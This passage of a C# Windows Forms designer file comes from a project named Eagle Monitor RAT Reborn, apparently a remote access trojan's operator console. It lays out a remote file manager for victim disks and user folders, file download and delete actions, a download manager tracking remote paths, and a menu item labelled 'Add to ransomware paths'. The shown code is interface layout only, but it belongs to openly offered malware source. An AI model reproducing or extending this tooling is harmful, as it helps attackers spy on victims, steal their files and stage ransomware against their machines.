global::Eagle_Monitor_RAT_Reborn.Properties.Resources.text_input_form_32px; this.keywordsToolStripMenuItem.Name = "keywordsToolStripMenuItem"; this.keywordsToolStripMenuItem.Size = new System.Drawing.Size(128, 34); this.keywordsToolStripMenuItem.Text = "Retrieve"; this.keywordsToolStripMenuItem.Click += new System.EventHandler(this.keywordsToolStripMenuItem_Click); // // guna2VScrollBar6 // this.guna2VScrollBar6.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar6.FillColor = System.Drawing.Color.White; this.guna2VScrollBar6.InUpdate = false; this.guna2VScrollBar6.LargeChange = 10; this.guna2VScrollBar6.Location = new System.Drawing.Point(1065, 0); this.guna2VScrollBar6.Name = "guna2VScrollBar6"; this.guna2VScrollBar6.ScrollbarSize = 18; this.guna2VScrollBar6.Size = new System.Drawing.Size(18, 426); this.guna2VScrollBar6.TabIndex = 17; this.guna2VScrollBar6.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage2 // this.tabPage2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage2.Controls.Add(this.panel1); this.tabPage2.Location = new System.Drawing.Point(4, 4); this.tabPage2.Name = "tabPage2"; this.tabPage2.Size = new System.Drawing.Size(1091, 474); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "File Manager"; // // panel1 // this.panel1.BackColor = System.Drawing.Color.White; this.panel1.Controls.Add(this.fileManagerGuna2TabControl); this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; this.panel1.Location = new System.Drawing.Point(0, 0); this.panel1.Name = "panel1"; this.panel1.Padding = new System.Windows.Forms.Padding(2); this.panel1.Size = new System.Drawing.Size(1091, 474); this.panel1.TabIndex = 16; // // fileManagerGuna2TabControl // this.fileManagerGuna2TabControl.Controls.Add(this.tabPage9); this.fileManagerGuna2TabControl.Controls.Add(this.tabPage13); this.fileManagerGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.fileManagerGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.fileManagerGuna2TabControl.Location = new System.Drawing.Point(2, 2); this.fileManagerGuna2TabControl.Name = "fileManagerGuna2TabControl"; this.fileManagerGuna2TabControl.SelectedIndex = 0; this.fileManagerGuna2TabControl.Size = new System.Drawing.Size(1087, 470); this.fileManagerGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.fileManagerGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.fileManagerGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.fileManagerGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.fileManagerGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.fileManagerGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.fileManagerGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.fileManagerGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.fileManagerGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.fileManagerGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.fileManagerGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.fileManagerGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.fileManagerGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.fileManagerGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.fileManagerGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.fileManagerGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.fileManagerGuna2TabControl.TabIndex = 18; this.fileManagerGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.fileManagerGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage9 // this.tabPage9.BackColor = System.Drawing.Color.White; this.tabPage9.Controls.Add(this.fileManagerDataGridView); this.tabPage9.Controls.Add(this.guna2VScrollBar3); this.tabPage9.Controls.Add(this.panel2); this.tabPage9.Location = new System.Drawing.Point(4, 44); this.tabPage9.Name = "tabPage9"; this.tabPage9.Size = new System.Drawing.Size(1079, 422); this.tabPage9.TabIndex = 0; this.tabPage9.Text = "File Manager"; // // fileManagerDataGridView // this.fileManagerDataGridView.AllowUserToAddRows = false; this.fileManagerDataGridView.AllowUserToDeleteRows = false; this.fileManagerDataGridView.AllowUserToResizeColumns = false; this.fileManagerDataGridView.AllowUserToResizeRows = false; this.fileManagerDataGridView.BackgroundColor = System.Drawing.Color.White; this.fileManagerDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.fileManagerDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.fileManagerDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle17.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle17.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle17.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle17.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle17.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle17.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.fileManagerDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle17; this.fileManagerDataGridView.ColumnHeadersHeight = 36; this.fileManagerDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column11, this.Column12, this.Column13, this.Column14}); this.fileManagerDataGridView.ContextMenuStrip = this.fileManagerContextMenuStrip; this.fileManagerDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.fileManagerDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.fileManagerDataGridView.EnableHeadersVisualStyles = false; this.fileManagerDataGridView.GridColor = System.Drawing.Color.White; this.fileManagerDataGridView.Location = new System.Drawing.Point(0, 47); this.fileManagerDataGridView.Name = "fileManagerDataGridView"; this.fileManagerDataGridView.ReadOnly = true; this.fileManagerDataGridView.RowHeadersVisible = false; dataGridViewCellStyle21.BackColor = System.Drawing.Color.White; dataGridViewCellStyle21.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); dataGridViewCellStyle21.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle21.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); this.fileManagerDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle21; this.fileManagerDataGridView.RowTemplate.Height = 26; this.fileManagerDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.fileManagerDataGridView.Size = new System.Drawing.Size(1061, 375); this.fileManagerDataGridView.TabIndex = 6; this.fileManagerDataGridView.TabStop = false; this.fileManagerDataGridView.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.fileManagerDataGridView_MouseDoubleClick); this.fileManagerDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.fileManagerDataGridView_MouseUp); // // Column11 // this.Column11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle18.BackColor = System.Drawing.Color.White; dataGridViewCellStyle18.ForeColor = System.Drawing.Color.White; dataGridViewCellStyle18.NullValue = null; dataGridViewCellStyle18.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2); this.Column11.DefaultCellStyle = dataGridViewCellStyle18; this.Column11.FillWeight = 12F; this.Column11.HeaderText = ""; this.Column11.Name = "Column11"; this.Column11.ReadOnly = true; this.Column11.Resizable = System.Windows.Forms.DataGridViewTriState.False; // // Column12 // this.Column12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column12.DefaultCellStyle = dataGridViewCellStyle19; this.Column12.FillWeight = 25F; this.Column12.HeaderText = "Name"; this.Column12.Name = "Column12"; this.Column12.ReadOnly = true; // // Column13 // this.Column13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column13.DefaultCellStyle = dataGridViewCellStyle20; this.Column13.FillWeight = 18F; this.Column13.HeaderText = "Type"; this.Column13.Name = "Column13"; this.Column13.ReadOnly = true; // // Column14 // this.Column14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column14.FillWeight = 25F; this.Column14.HeaderText = "Size"; this.Column14.Name = "Column14"; this.Column14.ReadOnly = true; // // fileManagerContextMenuStrip // this.fileManagerContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.fileManagerContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.refreshToolStripMenuItem, this.goToolStripMenuItem, this.backToolStripMenuItem, this.shortcutToolStripMenuItem, this.fileToolStripMenuItem, this.directoryToolStripMenuItem}); this.fileManagerContextMenuStrip.Name = "clientContextMenuStrip"; this.fileManagerContextMenuStrip.Size = new System.Drawing.Size(135, 208); // // refreshToolStripMenuItem // this.refreshToolStripMenuItem.BackColor = System.Drawing.Color.White; this.refreshToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.refreshToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.replay_32px; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(134, 34); this.refreshToolStripMenuItem.Text = "Refresh"; this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); // // goToolStripMenuItem // this.goToolStripMenuItem.BackColor = System.Drawing.Color.White; this.goToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.goToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.forward_32px; this.goToolStripMenuItem.Name = "goToolStripMenuItem"; this.goToolStripMenuItem.Size = new System.Drawing.Size(134, 34); this.goToolStripMenuItem.Text = "Go"; this.goToolStripMenuItem.Click += new System.EventHandler(this.goToolStripMenuItem_Click); // // backToolStripMenuItem // this.backToolStripMenuItem.BackColor = System.Drawing.Color.White; this.backToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.backToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.back_32px; this.backToolStripMenuItem.Name = "backToolStripMenuItem"; this.backToolStripMenuItem.Size = new System.Drawing.Size(134, 34); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // shortcutToolStripMenuItem // this.shortcutToolStripMenuItem.BackColor = System.Drawing.Color.White; this.shortcutToolStripMenuItem.DropDown = this.shortcutContextMenuStrip; this.shortcutToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.shortcutToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.pin_32px; this.shortcutToolStripMenuItem.Name = "shortcutToolStripMenuItem"; this.shortcutToolStripMenuItem.Size = new System.Drawing.Size(134, 34); this.shortcutToolStripMenuItem.Text = "Shortcut"; // // shortcutContextMenuStrip // this.shortcutContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.shortcutContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.downloadSToolStripMenuItem, this.desktopSToolStripMenuItem, this.documentsSToolStripMenuItem, this.userProfileSToolStripMenuItem}); this.shortcutContextMenuStrip.Name = "clientContextMenuStrip"; this.shortcutContextMenuStrip.OwnerItem = this.shortcutToolStripMenuItem; this.shortcutContextMenuStrip.Size = new System.Drawing.Size(148, 140); // // downloadSToolStripMenuItem // this.downloadSToolStripMenuItem.BackColor = System.Drawing.Color.White; this.downloadSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.downloadSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.downloads_folder_32px; this.downloadSToolStripMenuItem.Name = "downloadSToolStripMenuItem"; this.downloadSToolStripMenuItem.Size = new System.Drawing.Size(147, 34); this.downloadSToolStripMenuItem.Text = "Download"; this.downloadSToolStripMenuItem.Click += new System.EventHandler(this.downloadSToolStripMenuItem_Click); // // desktopSToolStripMenuItem // this.desktopSToolStripMenuItem.BackColor = System.Drawing.Color.White; this.desktopSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.desktopSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.folder_32px; this.desktopSToolStripMenuItem.Name = "desktopSToolStripMenuItem"; this.desktopSToolStripMenuItem.Size = new System.Drawing.Size(147, 34); this.desktopSToolStripMenuItem.Text = "Desktop"; this.desktopSToolStripMenuItem.Click += new System.EventHandler(this.desktopSToolStripMenuItem_Click); // // documentsSToolStripMenuItem // this.documentsSToolStripMenuItem.BackColor = System.Drawing.Color.White; this.documentsSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.documentsSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.documents_folder_32px; this.documentsSToolStripMenuItem.Name = "documentsSToolStripMenuItem"; this.documentsSToolStripMenuItem.Size = new System.Drawing.Size(147, 34); this.documentsSToolStripMenuItem.Text = "Documents"; this.documentsSToolStripMenuItem.Click += new System.EventHandler(this.documentsSToolStripMenuItem_Click); // // userProfileSToolStripMenuItem // this.userProfileSToolStripMenuItem.BackColor = System.Drawing.Color.White; this.userProfileSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.userProfileSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.folder_32px; this.userProfileSToolStripMenuItem.Name = "userProfileSToolStripMenuItem"; this.userProfileSToolStripMenuItem.Size = new System.Drawing.Size(147, 34); this.userProfileSToolStripMenuItem.Text = "User Profile"; this.userProfileSToolStripMenuItem.Click += new System.EventHandler(this.userProfileSToolStripMenuItem_Click); // // fileToolStripMenuItem // this.fileToolStripMenuItem.BackColor = System.Drawing.Color.White; this.fileToolStripMenuItem.DropDown = this.fileContextMenuStrip; this.fileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.fileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.file_32px; this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; this.fileToolStripMenuItem.Size = new System.Drawing.Size(134, 34); this.fileToolStripMenuItem.Text = "File"; // // fileContextMenuStrip // this.fileContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.fileContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.downloadFileToolStripMenuItem, this.deleteFileToolStripMenuItem}); this.fileContextMenuStrip.Name = "clientContextMenuStrip"; this.fileContextMenuStrip.OwnerItem = this.fileToolStripMenuItem; this.fileContextMenuStrip.Size = new System.Drawing.Size(141, 72); // // downloadFileToolStripMenuItem // this.downloadFileToolStripMenuItem.BackColor = System.Drawing.Color.White; this.downloadFileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.downloadFileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.download_32px; this.downloadFileToolStripMenuItem.Name = "downloadFileToolStripMenuItem"; this.downloadFileToolStripMenuItem.Size = new System.Drawing.Size(140, 34); this.downloadFileToolStripMenuItem.Text = "Download"; this.downloadFileToolStripMenuItem.Click += new System.EventHandler(this.downloadFileToolStripMenuItem_Click); // // deleteFileToolStripMenuItem // this.deleteFileToolStripMenuItem.BackColor = System.Drawing.Color.White; this.deleteFileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.deleteFileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.file_delete_32px; this.deleteFileToolStripMenuItem.Name = "deleteFileToolStripMenuItem"; this.deleteFileToolStripMenuItem.Size = new System.Drawing.Size(140, 34); this.deleteFileToolStripMenuItem.Text = "Delete"; this.deleteFileToolStripMenuItem.Click += new System.EventHandler(this.deleteFileToolStripMenuItem_Click); // // directoryToolStripMenuItem // this.directoryToolStripMenuItem.BackColor = System.Drawing.Color.White; this.directoryToolStripMenuItem.DropDown = this.directoryContextMenuStrip; this.directoryToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.directoryToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.folder_32px; this.directoryToolStripMenuItem.Name = "directoryToolStripMenuItem"; this.directoryToolStripMenuItem.Size = new System.Drawing.Size(134, 34); this.directoryToolStripMenuItem.Text = "Directory"; // // directoryContextMenuStrip // this.directoryContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.directoryContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addRansomwareToolStripMenuItem}); this.directoryContextMenuStrip.Name = "clientContextMenuStrip"; this.directoryContextMenuStrip.OwnerItem = this.directoryToolStripMenuItem; this.directoryContextMenuStrip.Size = new System.Drawing.Size(223, 38); // // addRansomwareToolStripMenuItem // this.addRansomwareToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addRansomwareToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addRansomwareToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.direction_32px; this.addRansomwareToolStripMenuItem.Name = "addRansomwareToolStripMenuItem"; this.addRansomwareToolStripMenuItem.Size = new System.Drawing.Size(222, 34); this.addRansomwareToolStripMenuItem.Text = "Add to ransomware paths"; this.addRansomwareToolStripMenuItem.Click += new System.EventHandler(this.addRansomwareToolStripMenuItem_Click); // // guna2VScrollBar3 // this.guna2VScrollBar3.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar3.FillColor = System.Drawing.Color.White; this.guna2VScrollBar3.InUpdate = false; this.guna2VScrollBar3.LargeChange = 10; this.guna2VScrollBar3.Location = new System.Drawing.Point(1061, 47); this.guna2VScrollBar3.Name = "guna2VScrollBar3"; this.guna2VScrollBar3.ScrollbarSize = 18; this.guna2VScrollBar3.Size = new System.Drawing.Size(18, 375); this.guna2VScrollBar3.TabIndex = 15; this.guna2VScrollBar3.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // panel2 // this.panel2.BackColor = System.Drawing.Color.White; this.panel2.Controls.Add(this.labelPath); this.panel2.Controls.Add(this.disksGuna2ComboBox); this.panel2.Dock = System.Windows.Forms.DockStyle.Top; this.panel2.Location = new System.Drawing.Point(0, 0); this.panel2.Name = "panel2"; this.panel2.Size = new System.Drawing.Size(1079, 47); this.panel2.TabIndex = 17; // // labelPath // this.labelPath.AutoSize = true; this.labelPath.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.labelPath.Location = new System.Drawing.Point(154, 16); this.labelPath.Name = "labelPath"; this.labelPath.Size = new System.Drawing.Size(133, 13); this.labelPath.TabIndex = 50; this.labelPath.Text = "(Note : Click on refresh !)"; // // disksGuna2ComboBox // this.disksGuna2ComboBox.Animated = true; this.disksGuna2ComboBox.AutoRoundedCorners = true; this.disksGuna2ComboBox.BackColor = System.Drawing.Color.White; this.disksGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.disksGuna2ComboBox.BorderRadius = 17; this.disksGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.disksGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.disksGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.disksGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.disksGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.disksGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.disksGuna2ComboBox.ItemHeight = 30; this.disksGuna2ComboBox.Location = new System.Drawing.Point(3, 5); this.disksGuna2ComboBox.Name = "disksGuna2ComboBox"; this.disksGuna2ComboBox.Size = new System.Drawing.Size(146, 36); this.disksGuna2ComboBox.TabIndex = 49; this.disksGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.disksGuna2ComboBox.SelectedIndexChanged += new System.EventHandler(this.disksGuna2ComboBox_SelectedIndexChanged); // // tabPage13 // this.tabPage13.BackColor = System.Drawing.Color.White; this.tabPage13.Controls.Add(this.dowloadFileDataGridView); this.tabPage13.Controls.Add(this.guna2VScrollBar7); this.tabPage13.Location = new System.Drawing.Point(4, 44); this.tabPage13.Name = "tabPage13"; this.tabPage13.Size = new System.Drawing.Size(1079, 422); this.tabPage13.TabIndex = 1; this.tabPage13.Text = "Download Manager"; // // dowloadFileDataGridView // this.dowloadFileDataGridView.AllowUserToAddRows = false; this.dowloadFileDataGridView.AllowUserToDeleteRows = false; this.dowloadFileDataGridView.AllowUserToResizeColumns = false; this.dowloadFileDataGridView.AllowUserToResizeRows = false; this.dowloadFileDataGridView.BackgroundColor = System.Drawing.Color.White; this.dowloadFileDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.dowloadFileDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.dowloadFileDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle22.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle22.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle22.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle22.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle22.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle22.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle22.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.dowloadFileDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle22; this.dowloadFileDataGridView.ColumnHeadersHeight = 36; this.dowloadFileDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column28, this.Column29, this.Column30, this.Column10}); this.dowloadFileDataGridView.ContextMenuStrip = this.downloadContextMenuStrip; this.dowloadFileDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.dowloadFileDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.dowloadFileDataGridView.EnableHeadersVisualStyles = false; this.dowloadFileDataGridView.GridColor = System.Drawing.Color.White; this.dowloadFileDataGridView.Location = new System.Drawing.Point(0, 0); this.dowloadFileDataGridView.Name = "dowloadFileDataGridView"; this.dowloadFileDataGridView.ReadOnly = true; this.dowloadFileDataGridView.RowHeadersVisible = false; dataGridViewCellStyle25.BackColor = System.Drawing.Color.White; dataGridViewCellStyle25.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); dataGridViewCellStyle25.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle25.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); this.dowloadFileDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle25; this.dowloadFileDataGridView.RowTemplate.Height = 26; this.dowloadFileDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dowloadFileDataGridView.Size = new System.Drawing.Size(1061, 422); this.dowloadFileDataGridView.TabIndex = 7; this.dowloadFileDataGridView.TabStop = false; this.dowloadFileDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dowloadFileDataGridView_MouseUp); // // Column28 // this.Column28.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle23.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column28.DefaultCellStyle = dataGridViewCellStyle23; this.Column28.FillWeight = 20F; this.Column28.HeaderText = "Name"; this.Column28.Name = "Column28"; this.Column28.ReadOnly = true; // // Column29 // this.Column29.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle24.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column29.DefaultCellStyle = dataGridViewCellStyle24; this.Column29.FillWeight = 18F; this.Column29.HeaderText = "Bytes"; this.Column29.Name = "Column29"; this.Column29.ReadOnly = true; // // Column30 // this.Column30.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column30.FillWeight = 15F; this.Column30.HeaderText = "Progression"; this.Column30.Name = "Column30"; this.Column30.ReadOnly = true; // // Column10 // this.Column10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column10.FillWeight = 25F; this.Column10.HeaderText = "Remote Path"; this.Column10.Name = "Column10"; this.Column10.ReadOnly = true; // // downloadContextMenuStrip // this.downloadContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.downloadContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.pauseToolStripMenuItem, this.startDowloadFileToolStripMenuItem}); this.downloadContextMenuStrip.Name = "clientContextMenuStrip"; this.downloadContextMenuStrip.Size = new System.Drawing.Size(118, 72); // // pauseToolStripMenuItem // this.pauseToolStripMenuItem.BackColor = System.Drawing.Color.White; this.pauseToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.pauseToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.pause_32px; this.pauseToolStripMenuItem.Name = "pauseToolStripMenuItem"; this.pauseToolStripMenuItem.Size = new System.Drawing.Size(117, 34); this.pauseToolStripMenuItem.Text = "Pause"; this.pauseToolStripMenuItem.Visible = false; // // startDowloadFileToolStripMenuItem // this.startDowloadFileToolStripMenuItem.BackColor = System.Drawing.Color.White; this.startDowloadFileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.startDowloadFileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.resume_button_32px; this.startDowloadFileToolStripMenuItem.Name = 